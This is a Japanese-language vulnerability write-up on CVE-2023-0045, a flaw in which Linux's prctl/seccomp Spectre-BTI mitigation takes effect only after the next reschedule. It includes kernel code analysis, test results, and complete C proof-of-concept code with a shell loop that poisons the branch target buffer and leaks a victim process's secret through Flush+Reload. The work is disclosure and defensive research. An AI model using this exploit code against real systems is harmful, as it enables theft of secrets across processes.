
CVE-2023-0045のPoCと解説。BTBポイズニングとFlush+Reloadを使用してLinuxのprctl/seccomp Spectre-BTI緩和策をバイパスし、プロセスの秘密を漏洩させます。
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Spectre-BTI攻撃の成功率をテストしていたところ、カーネルAPIを緩和策として使用した際に奇妙なパターンを検出しました1。私たちのテストでは、Linuxカーネルが攻撃を正しく緩和できず、システムコール後も短い期間プロセスが露出したままになることが明らかになりました。
さらに調査を進めると、カーネルはシステムコール中に直ちにIBPBを発行していないことが判明しました。ib_prctl_set2関数はタスクのスレッド情報フラグ(TIF)を更新し、__speculation_ctrl_update3関数でSPEC_CTRL MSRを更新しますが、IBPBは次回のスケジュール時(TIFビットがチェックされたとき)にのみ発行されます。これにより、prctlシステムコールの前にすでにBTBに注入された値に対して、被害者が脆弱なままになります。この動作は、タスクの再スケジュールが発生した後にのみ修正されます。さらに、カーネルへのエントリ(システムコール自体による)は、デフォルトのシナリオ(カーネルがretpolineやeIBRSで自身を保護している場合)ではIBPBを発行しません。
prctlを使用してSpectre-BTI攻撃を緩和する:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
これにより、カーネル5.15ではib_prctl_set2関数が呼び出されます。SPEC_DISABLEオプションが使用されると、task_set_spec_ib_disableのTIFビットが設定され、task_update_spec_tifが呼び出されます:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disableはset_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);を呼び出し、対象タスクが現在のタスクであればspeculation_ctrl_update_current();を呼び出します:
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_currentはspeculation_ctrl_updateラッパーを経由して、tifp = ~tifpで__speculation_ctrl_updateを実行します。ここでSTIBP設定用のwrmsr更新が実行されますが、IBPBは発行されません:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
コード解析により、悪用可能なウィンドウが存在することは確かでしたが、そのウィンドウが被害者が秘密をロードし、攻撃者がそれを漏洩させるのに十分な大きさかどうかは不明でした(秘密はprctl呼び出しが発行されるまで被害者のアドレス空間に存在しないことが期待されるため)。テストは、ハードウェア緩和策をサポートするベアメタルマシン上で、Ubuntu 22.04.1 LTSをインストールして実行しました:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
テストコードは、同じ論理コア上で実行される2つのプロセスで構成されています。攻撃者は、被害者プロセスに存在するSpectreガジェットのアドレスでBTBを継続的にポイズニングします。被害者プロセスは、テスト変数がSpectreガジェット関数によってアクセスされたかどうかを確認することで、誤予測率を測定します。通常、以下の出力が得られます:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
その後、PRCTLを使用して攻撃を緩和します。緩和策は、プログラムの先頭にprctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);を追加することで有効にできます。これによりSpectre-BTI攻撃が緩和されることが期待されます:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
しかし、テストの一部では異なる結果が示されました:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
また、'nice'(優先度)を変更すると誤予測率に影響を与えるようです:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
これは、コード解析で理解されたように、prctlは次のスケジュール後にのみプロセスを保護したことを示しています。このテストのもう一つの奇妙な動作は、誤った分岐の後、投機パスが修正され、真の値がBTBに書き込まれるべきであるということです。兄弟スレッドに他の攻撃者がいないため、BTBを再ポイズニングする者がいないにもかかわらず、このような高い誤予測値は予想外です。
これが測定誤差ではないことを確認するために、簡単なPOCを作成しました。被害者コードは常に、Spectre-BTI攻撃に対して脆弱な関数ポインタを介してsafe_functionを実行します。被害者はprctlシステムコール(protect_me内)を使用してカーネルに保護を要求します。被害者はまた、テキストファイルから秘密をロードし、他のシステムコールもTIFビットをチェックしないか、IBPBを強制するような再スケジュールを引き起こさないことを示します。
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
ほとんどのlibc関数は攻撃者と被害者の間で共通のヘッダーに配置されているため、spectre_gadget関数とspec関数は被害者と攻撃者の両方で同じメモリアドレスを共有します(そうしないと.GOTエントリが作成され、アドレスが変更されます)。これは必須条件ではなく、ブランチを同じアドレスに配置し、被害者のコンテキストを模倣する他の方法もありますが、この方法がより簡単です。
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// this function dos nothing. Always called by the victim
void safe_function(char *a, char *b, unsigned idx)
{
}
// this function is never called by the victim
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// helper for better results probabbly not necessary but makes the tests easier
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// This function is vulnerable to a spectre-BTI attack.
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// opens file as read only in memory to be used as side channel, but could be any other COW file like libc for example
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// ensure page is on memory
volatile char d = res[2100];
return res;
}
// load secret from file
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// Calls prctl to protect the user against spectre-BTI attacks - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //not needed but resets the available time on scheduler
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}
// Utility. All utility functions are placed on common so the spec function matches the same address on both victim and attacker. This is not necessary but makes the tests easier
unsigned string_to_unsigned(char *s)
{
return atoi(s);
}
攻撃は、spec関数を呼び出してBTBをポイズニングし、safe_functionの代わりにspectre_gadgetに分岐させることで構成されます。トレーニング後、被害者プロセスが作成され、specを実行してspectre_gadgetに誤予測します(この関数は決して実行されるべきではありません)。秘密は、古典的なflush+reloadサイドチャネルを介して漏洩します。
//gcc -o attacker attacker.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
#define PRINTNUM 1000
unsigned probe(char *adrs)
{
volatile unsigned long time;
asm __volatile__(
" mfence \n"
" lfence \n"
" rdtsc \n"
" lfence \n"
" mov esi, eax \n"
" mov eax,[%1] \n"
" lfence \n"
" rdtsc \n"
" sub eax, esi \n"
" clflush [%1] \n"
" mfence \n"
" lfence \n"
: "=a"(time)
: "c"(adrs)
: "%esi", "%edx");
return time;
}
int main(int argc, char *argv[])
{
//Make spec function confuse safe_function with spectre_gadget
codePtr = spectre_gadget;
char dummy;
int hits = 0;
int tries = 0;
char *sharedmem = open_shared_mem();
setvbuf(stdout, NULL, _IONBF, 0);
while (1)
{
//Inject the target in the BTB
spec(&dummy, &dummy, 0);
//Allow for victim to execute and misspredict to spectre_gadget
usleep(1);
//probe the 1-bit flush+reload side channel
if (probe((char *)&sharedmem[2000]) < 0x90)
{
printf("+");
}
}
}
被害者はサイドチャネルを介して漏洩するビットを選択するために使用できる引数を受け取るため、攻撃者が実行中に被害者プロセスを複数回実行できます:
taskset -c 0 ./attacker >> result.txt &
for i in {0..144}
do
echo "Leaking bit $i... "
echo -e -n "Leaking bit $i: " >> result.txt
sleep .01
for j in {0..10}
do
taskset -c 0 ./victim $i >/dev/null
done
echo "" >> result.txt
done
python3 parseResult.py
make clean
echo -e "killing attacker"
kill -9 $(pidof attacker)
これにより、次のテキストファイルが残ります:
Leaking bit 0: +++++++++++
Leaking bit 1:
Leaking bit 2:
Leaking bit 3:
Leaking bit 4:
Leaking bit 5:
Leaking bit 6: ++++++++++
Leaking bit 7:
Leaking bit 8: ++++++++
[...]
ビット0と6が1であるため、最初の文字は0x41('A')でなければなりません。
単純なPythonスクリプトでファイルを解析すると、次のようになります:
The secret leaked is: b'Asuper_secret_flag'
これは、被害者が使用するsecret.txtに存在する正確な内容です。
秘密をロードした後にsyscall(SYS_seccomp,SECCOMP_SET_MODE_STRICT,0,0);でprctl呼び出しをseccompに変更しても、攻撃を防ぐことはできません。これは、内部的に両方が同じib_prctl_set関数を使用して緩和策を実装しているため、予想通りです。
prctlシステムコールの投機制御に関する現在の実装は、緩和策が実行される前に攻撃者からユーザーを保護できていません。seccompによる緩和策もこのシナリオでは失敗します。
ユーザーモードアプリケーションの場合、prctl呼び出しの後にusleepを行うことで、強制的に再スケジュールが発生し、正しい緩和策が確実に適用されます。この攻撃に対するカーネルパッチの1つの可能性は、__speculation_ctrl_update3でSTIBPが設定されると同時にIBPBを発行するか、schedule()を呼び出すことです。
2022年12月27日 - prctlの予期しない動作を検出
2022年12月29日 - この文書の初版
2022年12月31日 - Linuxカーネルセキュリティチームと共有
2023年2月3日 - レポートを公開開示: https://github.com/google/security-research/security/advisories/GHSA-9x5g-vmxf-4qj8
“The Linux kernel user-space API guide: Speculation Control”. リンク: https://docs.kernel.org/userspace-api/spec_ctrl.html ↩
"Linux Source code" リンク: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1467) ↩ ↩2 ↩3
"Linux Source code" リンク: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/process.c#L557) ↩ ↩2
"Linux Source code" リンク: [https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616] (https://elixir.bootlin.com/linux/v5.15.56/source/arch/x86/kernel/cpu/bugs.c#L1616) ↩